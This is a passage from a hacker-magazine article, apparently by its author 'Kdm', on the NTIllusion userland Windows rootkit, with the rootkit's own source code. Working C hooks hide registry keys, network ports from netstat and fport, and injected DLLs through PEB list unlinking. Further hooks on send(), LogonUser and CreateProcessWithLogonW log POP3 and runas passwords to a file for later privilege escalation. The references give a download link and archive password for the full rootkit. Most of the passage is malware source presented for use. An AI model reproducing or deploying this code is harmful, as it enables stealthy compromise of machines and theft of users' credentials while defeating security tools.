Preventing its launch source from being detected is also an unavoidable feature for this kind of rootkit. To allow registry stealth, the rootkit replaces the RegEnumValueW API inside the memory space of all processes. The working mode of the new function is simple : if it detects itself listing the content of a key that must be hidden, it returns 1 which traduces an error. The only problem with this implementation is that the calling process will stop asking for the listing of the content of the registry key. Therefore, it will also hide subsequent keys. As the keys are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing that the key is hidden must be starting by a character of high ASCII code so that it will be retrieved last and won't bother.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 7 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyRegEnumValue : hide registry keys when a list is requested */

LONG WINAPI MyRegEnumValue(

HKEY hKey,

DWORD dwIndex,

LPWSTR lpValueName,

LPDWORD lpcValueName,

LPDWORD lpReserved,

LPDWORD lpType,

LPBYTE lpData,

LPDWORD lpcbData)

{

LONG lRet; /* return value */

char buf[256];

/* Call genuine API, then process to hiding if needed */

lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueName, lpReserved, lpType, lpData,lpcbData);

/* Convert string from Unicode */

WideCharToMultiByte(CP_ACP, 0,lpValueName, ‑1, buf, 255,NULL, NULL);

/* If the key must be hidden... */

if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) { lRet=1; /* then return 1 (error) */

}

return lRet;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 7 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑[ 4.4. Netstat like tools.

Network statistics tools are from far the most vicious. There's a lot of ways to request the list of TCP/UDP used ports and the behavior of the same application (netstat, [TCPVIEW], [FPORT]...) varies from a version of windows to another. This is especially true between NT/2000 and XP where the network statistics start to include the process identifier of the owner of each TCP connection. Whatever the way a process obtains these statistics, some dialog has to be established with the TCP/UDP driver sitting at kernel level (\Device\Tcp and \Device\Udp). This consists in calls to DeviceIoControl to establish a request and receive the answer of the driver. Hooking at this level is possible but from far risky and nightmarish, since the structures and control codes used are undocumented and change between windows versions. So the hooking has to be performed at different level, depending on the quality of the requested information and OS version.

As the rootkit must run under 2000 and XP, we have to consider different cases.

‑‑‑‑‑‑‑[ 4.4.1. The case of windows 2000

Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that associates a process identifier with a TCP stream does not exist yet, so information provided by the API doesn't include this reference.

‑‑‑‑‑‑‑[ 4.4.1.1. Hooking GetTcpTable

The TCP statistics may officially be obtained by a call to GetTcpTable, which retrieves the TCP connection table (MIB_TCPTABLE).

DWORD GetTcpTable(

PMIB_TCPTABLE pTcpTable,

PDWORD pdwSize,

BOOL border

);

The functions takes three parameters. The last one, border, decides whether the connection table should be sorted. Then, PdwSize specifies the size of the buffer pointer by the pTcpTable parameter on input. On output, if the buffer is not large enough to hold the returned connection table, the function sets this parameter equal to the required buffer size. Finally, pTcpTable points to a buffer that receives the TCP connection table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection table is available online. [GETTCP]

The MIB_TCPTABLE structure contains a table of TCP connections. typedef struct _MIB_TCPTABLE {

DWORD dwNumEntries;

MIB_TCPROW table[ANY_SIZE];

} MIB_TCPTABLE,

*PMIB_TCPTABLE;

table is a pointer to a table of TCP connections implemented as an array of MIB_TCPROW structures, one for each connection.

A MIB_TCPROW stands as follows:

typedef struct _MIB_TCPROW {

DWORD dwState;

DWORD dwLocalAddr;

DWORD dwLocalPort;

DWORD dwRemoteAddr;

DWORD dwRemotePort;

} MIB_TCPROW,

*PMIB_TCPROW;

While the dwState describes the state of a given connection, dwLocalAddr, dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and destination of the connection. We're interested in dwLocalPort and dwRemotePort to determine if the port belongs to the secret range (between RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) and therefore must be hidden. To hide a row in TCP table if needed, the MyGetTcpTable function shifts the whole array, thus overwriting the unwanted memory zone.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 8 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyGetTcpTable replacement for GetTcpTable.

(error checks stripped)

*/

DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL bOrder)

{

u_long LocalPort=0; /* remote port on local machine endianness*/

u_long RemotePort=0; /* local port on local machine endianness */

DWORD dwRetVal=0, numRows=0; /* counters */

int i,j;

/*Call original function, if no error, strip unwanted MIB_TCPROWs*/

dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder); if(dwRetVal == NO_ERROR)

{

/* for each row, test if it must be stripped */

for (i=0; i<(int)pTcpTable‑>dwNumEntries; i++)

{

LocalPort= (u_short) fhtons((u_short) (pTcpTable)‑>table[i].dwLocalPort);

RemotePort= (u_short) fhtons((u_short) (pTcpTable)‑>table[i].dwRemotePort);

/* If row must be filtered */

if( IsHidden(LocalPort, RemotePort) )

{

/* Shift whole array */

for(j=i; j<((int)pTcpTable‑>dwNumEntries ‑ 1);j++) memcpy( &(pTcpTable‑>table[i]),

&(pTcpTable‑>table[i+1]), sizeof(MIB_TCPROW_));

/* Erase last row */

memset( &(pTcpTable‑>table[j]),

0x00, sizeof(MIB_TCPROW_));

/* Reduce array size */

(*pdwSize)‑= sizeof(MIB_TCPROW_); (pTcpTable‑>dwNumEntries)‑‑;

}

}

}

return dwRetVal;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 8 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Calling GetTcpTable is not the only way to get network statistics under windows 2000. Some programs, such as fport even provide the correspondence stream/pid and therefore deal directly with the TCP driver through the DeviceIoControl function. Hijacking this API is not a good idea as I explained before. In consequence, the approach I adopted is to target specific functions used by widespread security tools rather than hooking a level lower by replacing DeviceIoControl.

‑‑‑‑‑‑‑[ 4.4.1.2. Defeating netstat

In this version of windows, fport isn't the only one that deals directly with the TCP/UDP driver. This is also the case of netstat. To defeat these programs, we just have to replace functions that are involved in network statistic processing from DeviceIoControl call to screen output.

With netstat, the idea is to hook the CharToOemBuffA API that is used to perform characters set translations for each line before it is written to console output.

BOOL CharToOemBuff(

LPCTSTR lpszSrc, /* Pointer to the null‑terminated string to

translate. */

LPSTR lpszDst, /* Pointer to the buffer for the translated

string. */

DWORD cchDstLength /* Specifies the number of TCHARs to translate */

);

If the rootkit notices itself being translating a string containing a hidden port, it just calls the function with a blank buffer, so the translation will result in a blank buffer, and output won't show anything.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 9 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyCharToOemBuffA : replace the function used by nestat to convert

strings to a different charset before it sends it to output, so we can get rid of some awkward lines... :)

*/

BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength)

{

/* If the line contains our port range, we simply get rid of

it. */

if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)

{

/* We call the function, providing a blank string */

return (*fCharToOemBuffA)("", lpszDst, cchDstLength);

}

return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 9 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As netstat calls the function for each line it writes, there is not problem in avoiding whole ones.

‑‑‑‑‑‑‑[ 4.4.1.2. Defeating Fport

However, this is not the case of Fport, which processes output character by character. I chose to hook the WriteFile API, and set up a buffer mechanism so output is done line by line, and hiding therefore simpler.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 10 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Convert FPORT.exe's output mode from char by char to line by line to

allow hiding of lines containing ports to hide

*/

BOOL WINAPI MyWriteFile(

HANDLE hFile, /* handle to file to write to */

LPCVOID lpBuffer, /* pointer to data to write to file */

DWORD nNumberOfBytesToWrite, /* number of bytes to write */

LPDWORD lpNumberOfBytesWritten, /* pointer to number of bytes written*/

LPOVERLAPPED lpOverlapped /* pointer to structure for overlapped

) I/O*/

{

BOOL bret=TRUE;/* Return value */

char* chr = (char*)lpBuffer;

static DWORD total_len=0;/* static length counter */

static char PreviousChars[2048*10];/* static characters' buffer

(bof?) */

/* Add the new character */

PreviousChars[total_len++] = chr[0];

/* Check for line termination */

if(chr[0] == '\r')

{

PreviousChars[total_len] = '\n'; PreviousChars[++total_len] = '\0';

/* show this line only if it contains no hidden port / process

prefix */

if(strstr((char*)PreviousChars,(char*)RTK_PORT_HIDE_STR)==NULL && strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL) {

/* Valid line, so process output */

bret = fWriteFile(hFile, (void*)PreviousChars, strlen((char*)PreviousChars), lpNumberOfBytesWritten,

lpOverlapped);

}

/* Clear settings */

memset(PreviousChars, 0, 2048);

total_len= 0;

}

/* fakes the var, so fport can't see output wasn't done */

(*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;

return bret;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 10 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑[ 4.4.2. The case of windows XP

Under windows XP programs have not to deal with hell by interacting directly the TCP/UDP driver as the windows API provides sufficient statistics. Thus, the most widespread network tools (netstat, Fport, Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on the classic GetTcpTable depending on the needs. So, to cover the problem under windows XP, the rootkit has just to replace the AllocateAndGetTcpEx TableFromStack API. Searching the msdn about this functions is useless. This is an undocumented function. However it exists some useful samples on the web such as [NETSTATP] provided by SysInternals that are quite explicit. The AllocateAndGetTcpExTableFromStack function takes the following parameters.

DWORD AllocateAndGetTcpExTableFromStack(

PMIB_TCPEXTABLE *pTcpTable,/* buffer for the connection table */

BOOL bOrder,/* sort the table? */

HANDLE heap,/* handle to process heap obtained by

calling GetProcessHeap() */

DWORD zero,/* undocumented */

DWORD flags/* undocumented */

)

The first parameter is the one interesting. It points to a MIB_TCPEXTABLE structure, that stands for PMIB_TCPTABLE extended, looking as follows.

/* Undocumented extended information structures available

only on XP and higher */

typedef struct {

DWORD dwState; /* state of the connection */

DWORD dwLocalAddr; /* address on local computer */

DWORD dwLocalPort; /* port number on local computer */

DWORD dwRemoteAddr; /* address on remote computer */

DWORD dwRemotePort; /* port number on remote computer */

DWORD dwProcessId; /* process identifier */

} MIB_TCPEXROW, *PMIB_TCPEXROW;

typedef struct {

DWORDdwNumEntries;

MIB_TCPEXROWtable[];

} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;

This is the same as the structures employed to work with GetTcpTable, so the replacement function's job will be somewhat identical.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 11 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

AllocateAndGetTcpExTableFromStack replacement. (error checks stripped)

*/

DWORD WINAPI MyAllocateAndGetTcpExTableFromStack( PMIB_TCPEXTABLEE *pTcpTable,

BOOL bOrder,

HANDLE heap,

DWORD zero,

DWORD flags

)

{

/* error handler, TcpTable walk index, TcpTable sort index */

DWORD err=0, i=0, j=0;

char psname[512]; /* process name */

u_long LocalPort=0, RemotePort=0;/* local & remote port */

/* Call genuine function ... */

err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap, zero,flags );

/* Exit immediately on error */

if(err)

return err;

/* ... and start to filter unwanted rows. This will hide all

opened/listening/connected/closed/... sockets that belong to secret range or reside in a secret process

*/

/* for each process... */

for(i = 0; i < ((*pTcpTable)‑>dwNumEntries); j=i)

{

/* Get process name to filter secret processes' sockets */

GetProcessNamebyPid((*pTcpTable)‑>table[i].dwProcessId, (char*)psname);

/* convert from host to TCP/IP network byte order

(which is big‑endian)*/

LocalPort= (u_short) fhtons((u_short) (*pTcpTable)‑>table[i].dwLocalPort);

RemotePort= (u_short) fhtons((u_short) (*pTcpTable)‑>table[i].dwRemotePort);

/* Decide whether to hide row or not */

if( !_strnicmp((char*)psname, RTK_FILE_CHAR, strlen(RTK_FILE_CHAR))

|| IsHidden(LocalPort, RemotePort) )

{

/* Shift whole array*/

for(j=i; j<((*pTcpTable)‑>dwNumEntries); j++)

memcpy( (&((*pTcpTable)‑>table[j])),

(&((*pTcpTable)‑>table[j+1])), sizeof(MIB_TCPEXROWEx));

/* clear last row */

memset( (&((*pTcpTable)‑>table[(( (*pTcpTable)‑>dwNumEntries)‑1)])),

0, sizeof(MIB_TCPEXROWEx));

/* decrease row number */

((*pTcpTable)‑>dwNumEntries)‑=1;

/* do the job again for the current row, that may also

contain a hidden process */

continue;

}

/* this row was ok, jump to the next */

i++;

}

return err;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 11 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These replacement functions reside in kNTINetHide.c.

‑‑‑‑‑‑‑[ 4.5. Global TCP backdoor / password grabber

As the rootkit is injected in almost every user process, there's a possibility to set up a global TCP backdoor by hijacking recv and WSARecv, allowing transforming any application (including a web server), into an opportune backdoor. This is complicated enough to be a whole project in itself so I focused on a password grabber virtually able to hijack passwords sent by any mail client [kSENTINEL]. Currently, it targets at Outlook and Netscape mail client but may easily be extended to other applications by playing with the #defines. It dynamically hijacks the TCP stream when the mail client deals with remote server. Therefore, it allows to grab USER and PASS commands to be used for later privileges escalation.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 12 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* POP3 Password grabber. Replaces the send() socket function.

*/

int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags) {

int retval=0;/* Return value */

char* packet;/* Temporary buffer */

if(!fSend)/* no one lives for ever (error check) */

return 0;

/* Call original function */

retval = fSend(s, buf, len, flags);

/* packet is a temp buffer used to deal with the buf parameter

that may be in a different memory segment, so we use the following memcpy trick.

*/

packet = (char*) malloc((len+1) * sizeof(char)); memcpy(packet, buf, len);

/* Check if memory is readable */

if(!IsBadStringPtr(packet, len))

{

/* Filter interesting packets (POP3 protocol) */

if(strstr(packet, "USER") || strstr(packet, "PASS"))

{

/* Interesting packet found! */

/* Write a string to logfile (%user

profile%\NTILLUSION_PASSLOG_FILE) */

Output2LogFile("'%s'\n", packet);

}

}

free(packet);

return retval;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 12 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FTP logins and passwords may also be grabbed by adding the proper expression in the filter condition.

‑‑‑‑‑‑‑[ 4.6. Privilege escalation

Catching POP3 and FTP passwords may allow spreading on the local machine since users often use the same password on different accounts. Anyway when grabbing a password used to login as another user on the machine, there's no doubt that the password will be efficient. Indeed, the rootkit logs attempts to impersonate another user from the desktop. This is the case when the user employs the runas command or selects "the run as user" menu by right clicking on an executable. The API involved in these situations are redirected so any successful login is carefully saved on hard disk for further use.

This is achieved through the replacement of LogonUserA and CreateProcess WithLogonW.

The runas tool present on windows 2000/XP relies on CreateProcessWith LogonW. Its replacement follows.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 13 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyCreateProcessWithLogonW : collects logins/passwords employed to

create a process as a user. This Catches runas passwords. (runas /noprofile /user:MyBox\User cmd)

*/

BOOL WINAPI MyCreateProcessWithLogonW(

LPCWSTR lpUsername,/* user name for log in request */

LPCWSTR lpDomain,/* domain name for log in request */

LPCWSTR lpPassword,/* password for log in request */

DWORD dwLogonFlags,/* logon options*/

LPCWSTR lpApplicationName,/* application name... */

LPWSTR lpCommandLine,/* command line */

DWORD dwCreationFlags,/* refer to CreateProcess*/

LPVOID lpEnvironment,/* environment vars*/

LPCWSTR lpCurrentDirectory,/* base directory */

LPSTARTUPINFOW lpStartupInfo,/* startup and process infor, see

CreateProcess */

LPPROCESS_INFORMATION lpProcessInfo)

{

BOOL bret=false;/* Return value */

char line[1024];/* Buffer used to set up log lines */

/* 1st of all, log on the user */

bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword, dwLogonFlags,lpApplicationName,lpCommandLine, dwCreationFlags,lpEnvironment,lpCurrentDirectory, lpStartupInfo,lpProcessInfo);

/* Inject the created process if its name doesn't begin by

RTK_FILE_CHAR (protected process) */

/* Stripped [...] */

/* Log the information for further use */

memset(line, 0, 1024);

if(bret)

{

sprintf(line, "Domain '%S' ‑ Login '%S' ‑ Password '%S' LOGON SUCCESS", lpDomain, lpUsername, lpPassword);

}

else

{

sprintf(line, "Domain '%S' ‑ Login '%S' ‑ Password '%S' LOGON FAILED", lpDomain, lpUsername, lpPassword);

}

/* Log the line */

Output2LogFile((char*)line);

return bret;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 13 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Under windows XP, explorer.exe offers a GUI to perform logon operations from the desktop. This relies on LogonUser that may be replaced as below. We're interested only in lpszUsername, lpszDomain and lpszPassword.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 14 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyLogonUser : collects logins/passwords employed to log on from the

local station */

BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken) {

char buf[1024];/* Buffer used to set up log lines */

/* Set up buffer */

memset(buf, 0, 1024);

sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n", lpszUsername,

lpszPassword,

lpszDomain);

/* Log to disk */

Output2LogFile((char*)buf);

/* Perform LogonUser call */

return fLogonUser(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 14 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The grabbed data are sent to a log file at user profile's root and may be encrypted using a simple 1 byte XOR key.

‑‑‑‑‑‑‑[ 4.7. Module stealth

As soon as it is loaded into a process, the rootkit hides its DLL. Therefore, if the system does not hook LdrLoadDll or its equivalent at kernel level, it appears that the rookit was never injected into processes. The technique used below is very efficient against all programs that rely on the windows API for enumerating modules. Due to the fact that EnumProcessModules/Module32First/Module32Next/... depend on NtQuerySystem Information, and because this technique foils the manner this API retrieves information, there's no way to be detected by this intermediary. This defeats programs enumerating processes' modules such as ListDlls, ProcessExplorer (See [LISTDLLS] and [PROCEXP]), and VICE rootkit detector. [VICE]

The deception is possible in ring 3 since the kernel maintains a list of each loaded DLL for a given process inside its memory space, in userland. Therefore a process may affect himself and overwrite parts of its memory in order to hide one of its module. These data structures are of course undocumented but can be recovered by using the Process Environment Block (PEB), located at FS:0x30 inside each process. The function below returns the address of the PEB for the current process.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 15 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DWORD GetPEB()

{

DWORD* dwPebBase = NULL;

/* Return PEB address for current process

address is located at FS:0x30 */

__asm

{

push eax

mov eax, FS:[0x30]

mov [dwPebBase], eax

pop eax

}

return (DWORD)dwPebBase;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 15 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The role of the PEB is to gather frequently accessed information for a process as follows. At address FS:0x30 (or 0x7FFDF000) stands the following members of the [PEB].

/* located at 0x7FFDF000 */

typedef struct _PEB

{

BOOLEAN InheritedAddressSpace;

BOOLEAN ReadImageFileExecOptions;

BOOLEAN BeingDebugged;

BOOLEAN Spare;

HANDLE Mutant;

PVOID ImageBaseAddress;

PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

[...]

ULONG SessionId;

} PEB, *PPEB;

The interesting member in our case is PPEB_LDR_DATA LoaderData that contains information filled by the loader at startup, and then when happens a DLL load/unload.

typedef struct _PEB_LDR_DATA

{

ULONG Length;

BOOLEAN Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly linked lists gathering information on loaded DLL in the current process. InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList in memory order, and InInitializationOrderModuleList keeps track of their load order since process start.

These doubly linked list contains pointers to LDR_MODULE inside the parent structure for next and previous module.

typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

ULONG Flags;

SHORT LoadCount;

SHORT TlsIndex;

LIST_ENTRY HashTableEntry;

ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

In fact, this is not exactly true since LIST_ENTRY have a special behavior. Indeed, the base address of the surrounding object is computed by subtracting the offset of the LIST_ENTRY member from it's address (&LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to the another LIST_ENTRY inside the list, not to the owner of the list node. This makes it possible to interlink objects in multiple lists without any interference as explains Sven B. Schreiber in Undocumented Windows 2000 Secrets. To access InLoadOrderModuleList elements, we don't have to bother about offsets since it is the first element of the LDR_MODULE structure so it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the case of InMemoryOrderModuleList we'll have to subtract sizeof(LIST_ENTRY). Similarly, to access the LDR_MODULE from InInitializationOrderModuleList we just subtract 2*sizeof(LIST_ENTRY).

The following sample demonstrates how to walk one of these lists and throw a module away according to its name (szDllToStrip).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 16 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Walks one of the three modules double linked lists referenced by the

PEB (error check stripped)

ModuleListType is an internal flag to determine on which list to operate : LOAD_ORDER_TYPE <‑‑‑> InLoadOrderModuleList

MEM_ORDER_TYPE <‑‑‑> InMemoryOrderModuleList

INIT_ORDER_TYPE <‑‑‑> InInitializationOrderModuleList

*/

int WalkModuleList(char ModuleListType, char *szDllToStrip)

{

int i;/* internal counter */

DWORD PebBaseAddr, dwOffset=0;

/* Module list head and iterating pointer */

PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;

/* PEB‑>PEB_LDR_DATA*/

PPEB_LDR_DATA pLdrData;

/* Module(s) name in UNICODE/AINSI*/

PUNICODE_STRING pImageName;

char szImageName[BUFMAXLEN];

/* First, get Process Environment Block */

PebBaseAddr = GetPEB(0);

/* Compute PEB‑>PEB_LDR_DATA */

pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr + PEB_LDR_DATA_OFFSET));

/* Init linked list head and offset in LDR_MODULE structure */

if(ModuleListType == LOAD_ORDER_TYPE)

{

/* InLoadOrderModuleList */

pUserModuleListHead = pUserModuleListPtr =

(PLIST_ENTRY)(&(pLdrData‑>ModuleListLoadOrder));

dwOffset = 0x0;

} else if(ModuleListType == MEM_ORDER_TYPE)

{

/* InMemoryOrderModuleList */

pUserModuleListHead = pUserModuleListPtr =

(PLIST_ENTRY)(&(pLdrData‑>ModuleListMemoryOrder));

dwOffset = 0x08;

} else if(ModuleListType == INIT_ORDER_TYPE)

{

/* InInitializationOrderModuleList */

pUserModuleListHead = pUserModuleListPtr =

(PLIST_ENTRY)(&(pLdrData‑>ModuleListInitOrder));

dwOffset = 0x10;

}

/* Now walk the selected list */

do

{

/* Jump to next LDR_MODULE structure */

pUserModuleListPtr = pUserModuleListPtr‑>Flink;

pImageName = (PUNICODE_STRING)( ((DWORD)(pUserModuleListPtr)) + (LDR_DATA_PATHFILENAME_OFFSET‑dwOffset));

/* Decode unicode string to lower case on the fly */

for(i=0; i < (pImageName‑>Length)/2 && i<BUFMAXLEN;i++) szImageName[i] = LOWCASE(*( (pImageName‑>Buffer)+(i) )); /* Null terminated string */

szImageName[i] = '\0';

/* Check if it's target DLL */

if( strstr((char*)szImageName, szDllToStrip) != 0 )

{

/* Hide this dll : throw this module away (out of

the double linked list) (pUserModuleListPtr‑>Blink)‑>Flink = (pUserModuleListPtr‑>Flink); (pUserModuleListPtr‑>Flink)‑>Blink = (pUserModuleListPtr‑>Blink);

/* Here we may also overwrite memory to prevent

recovering (paranoid only ;p) */

}

}while(pUserModuleListPtr‑>Flink != pUserModuleListHead);

return FUNC_SUCCESS;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 16 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To process the three linked lists, the rootkit calls the HideDll function below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 17 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int HideDll(char *szDllName)

{

return (WalkModuleList(LOAD_ORDER_TYPE, szDllName)

&&WalkModuleList(MEM_ORDER_TYPE, szDllName)

&&WalkModuleList(INIT_ORDER_TYPE, szDllName));

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 17 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I never saw this method employed to hide a module but instead to recover the base address of a DLL in elaborated shellcodes [PEBSHLCDE]. To end with this technique, I'll say that it is from far efficient against ring 3 programs but becomes a little bit ineffective against a personal firewall acting at kernel level, such as Sygate Personal Firewall. This one cannot be defeated using the presented method and analysis of its source code shows as it sets hooks in the kernel syscall table, thereby being informed as soon as a DLL is loaded into any process and subsequent hiding is useless. In a word, personal firewalls are the worst enemies of userland rootkits.

‑‑‑‑‑‑‑[ 5. Ending

‑‑‑‑‑‑‑[ 5.1. Conclusion

The mechanisms presented in this paper are the result of long research and experimentations. It shows up that ring 3 rootkit are an effective threat for nowadays computer systems but may be defeated by a clever analysis of the weakpoints they target. So this type of rootkit isn't perfect as data may still be detected, even though they're from far more difficult to notice. Keep in mind that the most important thing is not to cause suspicion, and therefore not be detected. In a word, ring 3 rootkits are perfect meantime to get administrative privilege on the local machine and install a most adapted ring 0 rootkit that will be more suitable to reach the maximum stealth.

‑‑‑‑‑‑‑[ 5.2. Greets

"If I have seen further it is by standing on the shoulders of giants." This quotation from Isaac Newton (1676) perfectly describes the ways things work. Therefore, my thanks first go to all authors that make the internet a place of free information and exchanges. Without them you would probably not be reading these lines. This is especially true for Ivo Ivanov ‑ thanks to you I discovered the world of API hooking ‑, Crazylord who provided me precious information to set up my first device driver, Holy_Father and Eclips for considering some questions about userland take over. Added to that, I'd like to thank my friends and revisers that helped me set up a more accessible paper. I hope this goal is achieved. Finally, I salute my friends and teammates; you know who you are. Special thanks to my buddy and personal unix consultant Artyc.

That's all folks!

"I tried so hard, and gone so far. But in the end, it doesnt even matter..."

Kdm

Kodmaker@syshell.org

http://www.syshell.org/

‑‑‑‑‑‑‑[ 6. References

‑ [1] http://www.syshell.org/?r=../phrack62/NTILLUSION_fullpack.txt

‑ [NTillusion rootkit] http://www.syshell.org/?r=../phrack62/NTIllusion.rar

Login/Pass:phrackreaders/ph4e#ho5

Rar password: 0wnd4wurld

‑ [HIDINGEN]

http://rootkit.host.sk/knowhow/hidingen.txt

‑ [HOOKS] A HowTo for setting system wide hooks http://www.codeguru.com/Cpp/W‑P/system/misc/article.php/c5685/

‑ [MSDN_HOOKS] http://msdn.microsoft.com/library/default.asp?url=/library/en‑us/winui/WinUI/

WindowsUserInterface/Windowing/Hooks.asp

‑ [3WAYS] Three ways to inject your code into another process http://www.codeguru.com/Cpp/W‑P/system/processesmodules/article.php/c5767/

